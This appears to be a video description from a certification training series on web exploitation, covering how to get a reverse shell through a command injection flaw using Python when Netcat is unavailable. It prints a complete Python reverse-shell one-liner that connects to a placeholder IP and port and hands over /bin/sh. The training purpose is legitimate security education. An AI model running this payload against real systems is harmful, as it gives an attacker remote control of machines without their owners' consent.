103 - Obtaining a Shell via Python in Command Injection | WEB-200 OSWA by KinSec

In this video, we show how to obtain a reverse shell using Python after exploiting a Command Injection vulnerability. When Netcat is not available or restricted, Python-based shells offer a flexible and reliable alternative — especially in Linux environments where Python is pre-installed.

You’ll learn how to craft Python reverse shell payloads, set up your listener, and troubleshoot common issues to gain full interactive access to the target system.

What you’ll learn:

How Python reverse shells work and when to use them
Crafting Python one-liners for reverse shell access
Executing Python payloads through command injection vectors
Bypassing restrictions like Netcat absence or disabled flags
Stabilizing the shell and gaining interactive control

Example Payload:
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh"])'

Tools used:
Burp Suite
Python (pre-installed on most Linux targets)
Netcat or Ncat as the listener
Command injection point in a vulnerable web app

This video is part of the WEB-200 OSWA series by KinSec, created to help you master practical web exploitation skills and prepare for the OSWA certification through hands-on, lab-based scenarios.

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